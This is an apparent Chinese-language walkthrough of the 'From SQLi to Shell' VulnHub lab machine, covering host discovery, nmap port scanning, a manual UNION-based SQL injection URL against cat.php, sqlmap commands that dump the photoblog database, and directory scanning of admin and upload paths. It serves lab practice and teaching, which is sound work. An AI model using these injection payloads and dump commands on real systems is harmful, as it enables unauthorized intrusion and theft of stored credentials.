Debian6靶机详解

靶机下载

https://download.vulnhub.com/pentesterlab/from_sqli_to_shell_i386.iso

主机发现

arp-scan -l

 

端口扫描

nmap -A -sV -p- 192.168.48.138 

 

访问80端口

http://192.168.48.138：80

 

F12查看页面源码

 

存在sql注入并发现了文件上传路径

访问文件上传路径

http://192.168.48.138/admin/uploads/

 

访问admin

http://192.168.48.138/admin/login.php

 

sql注入测试

http://192.168.48.138/cat.php?id=-2%20union%20select%201,group_concat(table_name)%20,3,4%20from%20information_schema.tables%20where%20table_schema=database()--+

 

sqlmap

跑数据库

sqlmap -u "http://192.168.48.138/cat.php?id=1" --batch -dbs

 

爆表和字段信息

sqlmap -u "http://192.168.48.138/cat.php?id=1" --batch -D photoblog -dump-all

 

获得密码登录成功

 

目录扫描

python3 dirsearch.py -u http://192.168.48.138

 

访问http://192.168.48.138/admin/

http://192.168.48.138/admin/login.php

 

访问css/

http://192.168.48.138/css/